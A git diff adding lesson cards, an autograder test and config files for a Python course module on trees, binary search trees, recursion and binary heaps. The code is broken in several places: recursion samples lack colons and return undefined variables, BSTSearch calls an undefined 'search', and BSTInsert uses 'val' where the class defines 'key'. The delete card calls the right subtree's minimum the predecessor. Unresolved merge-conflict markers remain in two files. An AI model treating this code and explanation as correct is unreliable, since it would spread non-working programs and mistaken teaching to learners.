diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/2.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/2.md
new file mode 100644
index 00000000..dbed8809
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/2.md
@@ -0,0 +1,61 @@
+
+
+
+
+
+
+Now that we understand the structure of a tree and the terminology used to describe its elements, let's think of how we would implement the structure in Python.
+
+#### The `Node` Class:
+
+It may be tempting to declare a class called `Tree` in which we store all the nodes in it. While this approach makes sense, it often leads to confusion and lacks built-in functionality for relationships between nodes in the tree. When you realize that a class for the tree itself is unnecessary, you may think of a second approach, which is the standard implementation. For this implementation, we will declare a class `Node` in which each instance of the class represents a node of the tree. The `Node` class contains the data value of a node and a list of its children. Let's define the `Node` class:
+
+```Python
+class Node:
+ def __init__(self, key):
+ self.key = key
+ self.children = []
+
+ def insert_child(self, newChild):
+ self.children.append(newChild)
+```
+
+This implementation of the `Node` class also includes an `insert_child` function that simply appends the node passed as an argument to the current node's list of children. Since each node has its children stored inside, the structure of the tree is maintained, making the `Tree` class unnecessary. You may be asking why we don't keep track of each node's parent. While this may be necessary for more advanced trees, it's unnecessary to implement a base tree that we're currently investigating.
+
+#### Binary Trees:
+
+
+A simple tree structure is fundamental, but let's investigate a specific type of tree that allows for an interesting and structured way to store data. A **Binary Tree** is a tree where every single node can only have zero, one, or two children. The tree structure we will be dealing with, however, is a special kind of Binary Tree, the **Binary Search Tree (BST)**. **BST**s have a few more restrictions:
+
+##### BST Rules:
+
+* Every element in the left subtree of a node has keys that are *lesser* in value than the key of that particular node.
+
+* Every element in the right subtree of a node has keys that are *greater* in value than the key of that particular node.
+
+
+
+ Let's see an example of a valid vs. invalid BST:
+
+
+
+
+
+Are you able to tell which tree is a valid or invalid BST?
+
+The **left** tree is an **invalid** BST because the node containing the key `10` is in a right subtree of the node containing the key `30`. You may have noticed that all subtrees of a BST are also BSTs.
+
+
+
+In order to implement a BST in Python, we need to adjust our previous `Node` class:
+
+```Python
+class Node:
+ def __init__(self, key):
+ self.left = None
+ self.right = None
+ self.key = key
+```
+
+Since we know that BST nodes only have two children max, we no longer need a list to store the children; we simply store the left child as the **left** element and the right child as the **right** element. In the `Node` class the left and right children are initialized to `None`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/3.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/3.md
new file mode 100644
index 00000000..83b9b119
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/3.md
@@ -0,0 +1,66 @@
+
+
+
+
+# Recursion with Binary Search Trees
+
+Recursion is a common coding strategy where we write a function that calls itself until it reaches a base case.
+Below is a code example where recursion is implemented to find the factorial of a number.
+The function takes in a number and it should return the factorial of the number.
+When writing a recursive function, the first thing we want to establish is a base case. In this case, the mathematical relationship of the factorial of 7 would be ...
+``` python
+7*6*5*4*3*2*1
+```
+
+It multiplies every number from 7-1 and after it multiplies by 1, all the calculation is finished. Hence, our **base case** will be when number == 1.
+Right now, it may seem confusing but it will make sense when all the pieces come together.
+``` python
+def fact(number):
+ if(number == 1) # base case
+ return product;
+```
+
+Now, lets write the rest of our recursive function. Since `number == 7` (in our example), it would not fall into our if-statement. We will write an `else` statement
+that accounts for when `number` != 1.
+```python
+ else
+ product = number*(fact(number-1)) # this is where the recursion occurs
+
+ return product
+```
+
+Now that `number` is equal to 6, it will recursively call `fact(5)`. The recursive calls will continue until `fact(1)` is called, in which case it will start to go up the recursive chain, returning the value of each product until we finally reach the first call, in which we are doing 7 * 6! to get the value of 7!.
+
+
+### Another Example
+Recursion is an incredibly confusing topic, so let's take a look at another example before we implement it into our Binary Search Tree.
+The general outline we want to approach recursion with is:
+1. Simplify the problem into something smaller.
+ - Our problem is adding `num1` to the number above it.
+2. Solve the simpler problem with an algorithm.
+ - To solve our problem, we can solve it by calling our function multiple times.
+ In this case, calling the same function with a `num1+1`
+3. Putting Everything Together
+
+Let's write a recursive function to find the sum of an interval of numbers. We will want two inputs and every number between those inputs will be added.
+```python
+def interval(num1, num2):
+```
+
+First lets write our base case. If `num1 == num2`, then that means the interval is zero and there are no more numbers to add. So our base case looks like this:
+Sum is simply the number that is the sum of the interval of numbers.
+
+```python
+if (num1 == num2)
+ return sum
+```
+
+Now, let's incorporate our logic. In our else-statement, we want to call the same function, but with `num1+1` as our input.
+```python
+else
+ sum = num1 + interval(num1+1, num2)
+```
+
+Eventually, after enough calls, num1 will equal num2 and our function will return sum.
+
+Recursion has an incredible wide use of applications that we can implment.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/4.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/4.md
new file mode 100644
index 00000000..786d4fb7
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/4.md
@@ -0,0 +1,43 @@
+
+
+
+
+
+
+Now that we understand the basic structure of a **Binary Search Tree**, let's start building some useful functions that will allow us to access and manipulate our trees.
+
+#### BST Search:
+
+If you know the key to a specific node in a BST and want to access it within your BST, build a function called `BSTSearch`; this function will allow you to do so.
+
+```Python
+def BSTSearch(curNode, key):
+ if curNode is None or curNode.key == key:
+ return curNode
+ if curNode.key < key:
+ return BSTSearch(curNode.right, key) #Go right
+ else:
+ return search(curNode.left, key) #Go left
+```
+
+The `BSTSearch` function behaves similarly to how you would if you were looking for a specific key in a BST: go right if you're looking for a larger key or go left if you're looking for a smaller key. It starts at the root and calls the same function again on its right child if the desired key is greater than the current node's key or calls the same function again on its left child if the desired key is less than the current node's key. It eventually returns the current node being inspected if the node's key matches the desired key or returns `None` if it doesn't find a node with a desired key.
+
+Let's actually see this in action using the tree from the previous card as as an example. Let's say we want to find `7` in our tree. Below, you can see the specific path that `BSTSearch` takes to look for the node:
+
+
+
+##### Time Complexity:
+
+Since we're interested in finding the asymptotic time in the **worst-case**, we must consider what the worst-case situation would be when searching for a node.
+
+
+
+The diagram above depicts the worst-case scenario when searching for the node with key 50. As you can see, the time to reach a desired node would be O(height), and in this case, it would be **O(n)**, **n** being the amount of nodes in the tree.
+
+`BSTSearch` **= O(n)**
+
+
+
+###### How was this worst-case made? (under time complexity)
+
+If you want to access a node with value of 50, you need to go from the root and move to the right child and treat the child as a new node. You need to do it for 5 times. The time complexity is O(n).
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/5.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/5.md
new file mode 100644
index 00000000..032ee8ec
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/5.md
@@ -0,0 +1,49 @@
+
+
+
+
+
+
+Another very useful function when working with BSTs is the ability to add nodes to the tree.
+
+#### BST Insert:
+
+When adding a new node to a BST, we must find the correct place to insert that node. Let's look at the code for `BSTInsert`:
+
+```Python
+def BSTInsert(curNode, newNode):
+ if curNode is None:
+ curNode = newNode
+ else:
+ if curNode.key < newNode.val:
+ if curNode.right is None:
+ curNode.right = newNode
+ else:
+ BSTInsert(curNode.right, newNode)
+ else:
+ if curNode.left is None:
+ curNode.left = newNode
+ else:
+ BSTInsert(curNode.left, newNode)
+```
+
+`BSTInsert` traverses through the BST in a similar way to `BSTSearch`. However, once it finds that the specific child is `None` in the place where the new node belongs, it places that node there. Try working and experimenting with the code on your own machine.
+
+To illustrate how this code works, let's use a simple tree as an example. We will add a node with key `11` to this tree. Below, you can see the specific path that `BSTInsert` takes to insert the node as well as the actual position that `11` ends up in:
+
+
+
+##### Time Complexity:
+
+Similar to `BSTSearch`, the worst-case scenario runtime for `BSTInsert` is also **O(n)**. The worst-case scenario would occur when you must go through every node in the tree to find the proper place to insert the node.
+
+Let's use the same example from the previous card to illustrate this:
+
+
+
+In order to insert `60` into this tree, we needed to visit every other node first. Hence, this was a worst-case scenario.
+
+###### How was this worst case made? (under time complexity)
+
+if you need to insert a node with value of 60, you need to find the place first, which you need to visit five node. In this example, you need to go from 10, 20, 30, 40, 50. You construct right child of node with value of 50. Thus, the time complexity will be O(n).
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/6.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/6.md
new file mode 100644
index 00000000..77247fee
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/6.md
@@ -0,0 +1,27 @@
+
+
+
+
+
+
+The last fundamental function letting us interact with BSTs is `BSTDelete`, which will let us remove unwanted nodes from our tree. `BSTDelete` is arguably the most complicated of the BST functions we have learned so far because we have to fix the tree once we remove a node.
+
+##### Deleting a BST Node:
+
+When deleting a BST node, there are **two main cases**:
+
+<<<<<<< Updated upstream:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act2_Trees/cards/6.md
+* **Leaf/1 Child Case:** The easier of the two cases is when the node we want to delete is a leaf in the BST or a node with only one child. Since a leaf does not have any children, deleting it from a BST leaves us with a proper BST, meaning we do not have to change the structure of the tree and can simply remove the node. Also, if a node we want to delete only has one child, we can just delete that node and place its child where it used to be. Here is an example of the former:
+=======
+* **Leaf/1 Child Case:** The easier of the two cases is when the node we want to delete is either a leaf in the BST or a node with only one child. Since a leaf has no children, deleting it from a BST leaves us with a proper BST, meaning we don't have to change the tree's structure and can simply remove the node. Also, if a node we want to delete only has one child, we can just delete that node and replace it with its child. Here is an example of the former:
+>>>>>>> Stashed changes:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act2_Trees/6.md
+
+
+
+* **2 Child Case**: The more challenging case occurs when you want to delete an internal node in the BST, or a node with two children. If you simply deleted the node, you'd lose the children. Therefore, when an internal node is deleted, it must be replaced with the maximum node of the deleted node's left subtree or minimum node of the deleted node's right subtree in order to still be considered a BST. Note that your code implementation determines the preference between these two options. Here is an illustration that should help your understanding:
+
+
+
+Here, we chose to delete `20` from the tree and picked its in-order predecessor node as its replacement. The in-order predecessor node is the maximum value of a node's left subtree; in the above case, that is `19`. Similarly, we could've also used the in-order *successor* node, which is the *minimum* value of a node's *right* sub-tree. If we had gone that direction, we would have chosen `30` as the replacement for `20` in our example instead.
+
+Note that the process for deleting a child with two nodes is the same for **any** node, even the root! If we had decided to remove `15` from our tree above and still use the in-order predecessor node as our replacement, we would have picked `12` to be in its place. We would have chosen `16` if we picked the successor node.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/7.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/7.md
new file mode 100644
index 00000000..c9da048f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/7.md
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+#### BSTDelete()
+
+Due to various issues when deleting a BST node, the `BSTDelete` function is more complex than `BSTSearch` and `BSTInsert`. However, don't be intimidated by the code; make certain you understand the process of deleting a node, as the code follows the same logic. Let's take a look:
+
+```Python
+def smallestNode(curNode):
+ inspectedNode = curNode
+ while(inspectedNode.left is not None):
+ inspectedNode = inspectedNode.left #Go left as far as possible
+ return inspectedNode
+```
+
+This helper function allows us to find the smallest node in a given node's subtree. We simply traverse down the node's left subtree, always choosing to visit the left child, until we reach a leaf. That leaf node, the smallest node, gets returned. We chose the in-order predecessor node as our replacement in this code implementation.
+
+```python
+def BSTDelete(curNode, key):
+ if curNode is None:
+ return curNode
+ if (key < curNode.key):
+ curNode.left = BSTDelete(curNode.left, key)
+ elif (key > curNode.key):
+ curNode.right = BSTDelete(curNode.right, key)
+```
+
+In order to delete a node, we need to find it first! This process is the exact same as with `BSTSearch` and `BSTInsert`. We traverse down the left and right subtree of any given node until we reach the node we need to delete.
+
+```python
+else: #found node to be deleted
+ if curNode.left is None: #Case 1
+ tempNode = curNode.right
+ curNode = None #Delete node
+ return tempNode
+ elif curNode.right is None: #Case 1
+ tempNode = curNode.left
+ curNode = None #Delete node
+ return tempNode
+```
+
+We found the node and it falls under one of the two situations listed in Case 1: it is either a leaf, or only has one child. We do the appropriate replacement and deletion procedures. Notice that we "delete" a node by setting it to `None`.
+
+```python
+ #Internal Node Case:
+ tempNode = smallestNode(curNode.right) #find smallest key node of right subtree
+ curNode.key = tempNode.key
+ curNode.right = BSTDelete(curNode.right, tempNode.key)
+```
+
+Finally, this is the case where the node in question has two children. We find its in-order predecessor node, replace its value with the predecessor's, and delete the predecessor node from our tree.
+
+Although `BSTDelete` seems complicated at first, you will realize that it follows the logic of either the **Leaf/1 Child Case** or the **Internal Node Case**. Feel free to review the two cases if you're having trouble understanding the `BSTDelete` code.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/8.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/8.md
new file mode 100644
index 00000000..02c7cd10
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/8.md
@@ -0,0 +1,72 @@
+
+
+
+
+
+
+Now that we know the basic concepts associated with trees, let's go through a real-life application of data trees to solidify our understanding.
+
+As mentioned prior, a place where a data tree occurs in your real life is with the relationships in your family. For the activity, we will make a data tree in Python using the `Node` class that will be a representation of a family.
+
+#### Family Tree:
+
+For our family tree, we want to hold the **name**, **age**, **gender**, and **favorite sport** for each member of the family. Therefore, we must slightly modify our `Node` class to encompass that data.
+
+```Python
+class Node:
+ def __init__(self, name, age, gender, sport):
+ self.key = name
+ self.age = age
+ self.gender = gender
+ self.sport = sport
+ self.children = []
+
+ def insert_child(self, newChild):
+ self.children.append(newChild)
+```
+
+We added arguments to the `Node` class initializer function that will let us store the important data for each family member. Notice that we are now assigning the name of the family member to be the key that we identify each node as. You could really use any data aspect as the key for each family member. It is just what we will use to identify a certain node.
+
+##### Building the Tree:
+
+Now that we have our new `Node` class, let's initialize some family members to start building the ancestry tree. For the **root** of the family tree, we want to use the grandmother of the family. Let's say the grandmother of the family's name is **Susan**, she is **92** years old, and her favorite sport is **bowling**. Let's initialize her `Node` object:
+
+```Python
+grandma = Node("Susan", 92, "female", "bowling")
+```
+
+Now that we have a node for Grandma Susan, let's say she has three children. Let's create some node objects for her children:
+
+```Python
+mary = Node("Mary", 57, "female", "soccer")
+joe = Node("Joe", 61, "male", "football")
+don = Node("Don", 63, "male", "tennis")
+```
+
+We have declared node objects for all of Susan's children but have not indicated in our code that they are her children yet. To do so, we can use the `insert_child` function in the `Node` class on Susan's object.
+
+```Python
+grandma.insert_child(mary)
+grandma.insert_child(joe)
+grandma.insert_child(don)
+```
+
+After making those 3 calls, "grandma.children" will now be a list that holds the node instances "mary," "joe," and "don." We have essentially drawn edges between "grandma" and "mary," "grandma" and "joe," and "grandma" and "don."
+
+Let's say that Joe got married and had two children. Although we could adjust our tree structure to include Joe's spouse, let's keep our tree simple for now and only show Grandma Susan's direct descendants. Let's create the `Node` instances for Joe's children:
+
+```Python
+ricky = Node("Ricky", 34, "male", "basketball")
+kelly = Node("Kelly", 35, "female", "tennis")
+```
+
+Now, let's connect them to Joe's node with edges:
+
+```Python
+joe.insert_child(ricky)
+joe.insert_child(kelly)
+```
+
+
+
+Now, we have successfully created a simple family tree using data trees in Python. For practice, try implementing your own family tree in Python by adding and deleting the new object nodes with family members. To get even more practice, think of a way you can adjust the node class to account for spouses in the tree structure.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/9.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/9.md
new file mode 100644
index 00000000..022c75a4
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/9.md
@@ -0,0 +1,100 @@
+
+
+
+
+
+
+Now to further **enhance your comprehension for Binary Search Tree's**, we will use a Binary Search Tree in an example **real-world application** in order for you to see the purpose behind this algorithm.
+
+Consider that we are admins for a corporation with many employees and must find a way to keep track of each employee in our database system. We need an efficient way of **searching** for particular employees based on their **employee identification number**. Each employee has a distinct identification number, so we will use a Binary Search Tree as our structure that stores the employees' ID numbers, which represent the nodes.
+
+```python
+# Python program to demonstrate insert operation in a binary search tree
+
+# A utility class that represents an individual node in a BST
+# We added arguments to the `Node` class initializer function that will let us store the important data about each employee's ID number (Key) and name.
+# For our employee information tree, we want to hold the **key**, and **name** for each employee of the company. Therefore, we must slightly modify our 'Node' class to encompass that data.
+class Node:
+ def __init__(self,key,name):
+ self.left = None
+ self.right = None
+ self.val = key
+ self.employeeName = name
+
+
+# We are now assigning the name of the employee to be the key that we identify each node as. You could really use any data aspect as the key for each employee. It is just what we will use to identify a certain node.
+# A utility function to insert a new node with the given key
+def insert(root,node):
+ if root is None:
+ root = node
+ else:
+ if root.val < node.val:
+ if root.right is None:
+ root.right = node
+ else:
+ insert(root.right, node)
+ else:
+ if root.left is None:
+ root.left = node
+ else:
+ insert(root.left, node)
+
+
+# Now, we make functions to make a tree in order by the Key value (Employee ID) or the name of employee based on the insert function we produced above.
+# A utility function to do inorder tree traversal
+def inorderID(root):
+ if root:
+ inorderID(root.left)
+ print(root.val)
+ inorderID(root.right)
+
+def inorderName(root):
+ if root:
+ inorderName(root.left)
+ print(root.employeeName)
+ inorderName(root.right)
+
+# We make a function to search the name of employee based on the Key value (Employee ID).
+# A utility function to search a given key in BST
+def search(root,key):
+
+ # Base Cases: root is null or key is present at root
+ if root is None or root.val == key:
+ print(root.employeeName)
+ return root
+
+ # Key is greater than root's key
+ if root.val < key:
+ return search(root.right,key)
+
+ # Key is smaller than root's key
+ return search(root.left,key)
+
+#Now, we declare "Abel" with ID number '50' as a root of the employee tree. Also, there are six more employees with different ID numbers. We insert six employees under the root node of 'Abel' by using 'insert' function.
+r = Node(50, "Abel")
+insert(r,Node(30, "Bob"))
+insert(r,Node(20, "Cathy"))
+insert(r,Node(40, "Debbie"))
+insert(r,Node(70, "Evan"))
+insert(r,Node(60, "Fiona"))
+insert(r,Node(80, "Gabriel"))
+
+
+# We have inserted all node objects for the root but have not ordered them by employee ID or employee name. To do so, we use either the inorderID or inorderName function. Also, we can search an employee's name by the key value(employee ID).
+# Print inorder traversal of the BST
+inorderID(r)
+inorderName(r)
+search(r, 20)
+```
+
+
+
+> Figure 1: Binary Search Tree in order with the employee identification number and employee's name.
+
+| Python Code | Print Output |
+| :------------: | :----------------------------------------------------------: |
+| inorderID(r) | 20 30 40 50 60 70 80 |
+| inorderName(r) | Cathy Bob Debbie Abel Fiona Evan Gabriel |
+| search(r, 20) | Cathy |
+| search(r, 60) | Fiona |
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/checkpoints/12-checkpoint.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/checkpoints/12-checkpoint.md
new file mode 100644
index 00000000..267e1bda
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/checkpoints/12-checkpoint.md
@@ -0,0 +1,18 @@
+# name
+Checkpoint: `Node`
+
+# cards_folder
+/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/cards/
+# checkpoint_type
+Autograder
+
+# files_to_send
+
+main.py
+
+# instruction
+
+Please submit your code for the ` Node ` class.
+
+# test_file_location
+/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/tests/main_test
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/1-1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/1-1.png
new file mode 100644
index 00000000..3f877b58
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/1-1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/1-2.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/1-2.png
new file mode 100644
index 00000000..b92aa739
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/1-2.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/2-1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/2-1.png
new file mode 100644
index 00000000..360b0ae0
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/2-1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/2-2.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/2-2.png
new file mode 100644
index 00000000..b7d70e00
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/2-2.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/5-1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/5-1.png
new file mode 100644
index 00000000..8d24d0ee
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/5-1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/5-2.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/5-2.png
new file mode 100644
index 00000000..e166d7dc
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/5-2.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/6-1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/6-1.png
new file mode 100644
index 00000000..d8534596
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/6-1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/6-2.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/6-2.png
new file mode 100644
index 00000000..21122786
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/6-2.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/8-1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/8-1.png
new file mode 100644
index 00000000..aa2cac4f
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/8-1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/9-1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/9-1.png
new file mode 100644
index 00000000..6d3db50a
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/9-1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/Trees.jpg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/Trees.jpg
new file mode 100644
index 00000000..fdd1e159
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/images/Trees.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/tests/main_test.test b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/tests/main_test.test
new file mode 100644
index 00000000..a010da52
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/tests/main_test.test
@@ -0,0 +1,24 @@
+>>>root = Node(1)
+>>>root.left = Node(2)
+>>>root.right = Node(3)
+>>>root.left.left = Node(4)
+>>>root.left.right = Node(5)
+>>>inorderTraversal(root)
+[4, 2, 5, 1, 3]
+>>> root = Node(1)
+>>> root.left = Node(2)
+>>> root.right = Node(3)
+>>> root.left.left = Node(4)
+>>> root.left.right = Node(5)
+>>> root.right.left = Node(6)
+>>> root.right.right = Node(7)
+>>> inorderTraversal(root)
+[4, 2, 5, 1, 6, 3, 7]
+>>> root = Node(5)
+>>> root.left = Node(10)
+>>> root.right = Node(100)
+>>> root.left.left = Node(150)
+>>> root.left.right = Node(250)
+>>> root.right.left = Node(550)
+>>> inorderTraversal(root)
+[150, 10, 250, 5, 550, 100]
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/README.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/README.md
new file mode 100644
index 00000000..c123252b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/README.md
@@ -0,0 +1,129 @@
+# github_id
+
+# name
+Binary Heaps
+
+<<<<<<< Updated upstream
+# description
+This activity will teach students about the Binary Heap data structure.
+=======
+# Long Summary
+Students will learn about the binary heap data structure. They will explore the different operations that can be performed on a binary heap. They will also learn how to build a binary heap given a set of keys.
+<<<<<<< Updated upstream
+>>>>>>> Stashed changes
+=======
+>>>>>>> Stashed changes
+
+# summary
+Students will learn about the Binary Heap data structure. They will explore the different operations that can be performed on a binary heap. They will also learn how to build a binary heap given a set of keys.
+
+# criteria
+1. Which key is put at the root of a max heap?
+2. Give a scenario where a binary heap would help you solve a problem.
+3. What are the operations you can perform on a binary heap?
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/images
+
+# folder_path
+/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps
+
+# cards
+
+## 1
+
+### name
+Binary Heap Intro
+
+### order
+1
+
+### gems
+100
+
+## 2
+
+### name
+Method - insert
+
+### order
+2
+
+### gems
+100
+
+## 3
+
+### name
+Method - delMin
+
+### order
+3
+
+### gems
+100
+
+## 4
+
+### name
+Building a Heap
+
+### order
+4
+
+### gems
+100
+
+## 5
+
+### name
+Complete Implementation of MinHeap
+
+### order
+5
+
+### gems
+100
+
+## 6
+
+### name
+Interview Question
+
+### order
+6
+
+### gems
+100
+
+## 7
+
+### name
+Question Breakdown
+
+### order
+7
+
+### gems
+100
+
+## 8
+
+### name
+Code Solution
+
+### order
+8
+
+### gems
+100
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/1.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/1.md
new file mode 100644
index 00000000..ea1262d3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/1.md
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+#### Binary Heaps:
+
+One interesting type of tree data structure is a **binary heap**, a type of binary tree. A binary tree can only have 0, 1, or 2 children. Binary heaps have the following properties:
+
+- Each node must have the full 2 children, except the last level of the node if there is no children(object) available.
+- New children must be added to the left-most available position.
+- It is either a min heap or max heap.
+- A binary heap is a complete binary tree.
+
+A **min heap** is a heap where the root has the smallest key and the keys on the nodes get larger as you go down the tree.
+
+A **max heap** is a heap where the root has the largest key and the keys on the nodes get smaller as you go down the tree.
+
+Examples of **Binary Heaps**:
+
+
+
+The image on the left is an example of a **min heap**. The image on the right is an example of a **max heap**.
+
+#### Valid vs. Invalid Max Heaps:
+
+
+
+The right tree has an invalid heap-order because 5's child is 6, which is not the correct heap order. Left and right values of the subtrees must be less than or equal to the value at the parental node.
+
+
+
+One useful attribute of **binary heaps** is the ability to find the min/max of the tree in **O(1)** time. The root of a **min heap** is the min of the data and the root of a **max heap** is the max of the data.
+
+
+
+### Binary Heap Implementation:
+
+Given a list of elements, we want to be able to convert it into a binary heap. Below is an example of a list of numbers represented by a min heap:
+
+
+
+The figure above represents the binary heap implementation in the order of a min heap. You can read the figure by top level from left to right. When you represent the number in a list of arrays, you must put the root at index 1's position, as it is easy to find the parent and child nodes from there.
+
+To view this programmatically, we will define a binary heap implementation representing a min heap. We will begin our implementation of a binary heap with the constructor. Since the entire binary heap can be represented by a single list, the constructor (`__init__`) will initialize the list, as well as an attribute `currentSize` to keep track of the heap's size. You will notice that an empty binary heap has a single zero as the first element of `heapList`. This zero is there so that simple integer division can be used in later methods.
+
+```python
+class BinHeap:
+ def __init__(self):
+ self.heapList = [0]
+ self.currentSize = 0
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/2.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/2.md
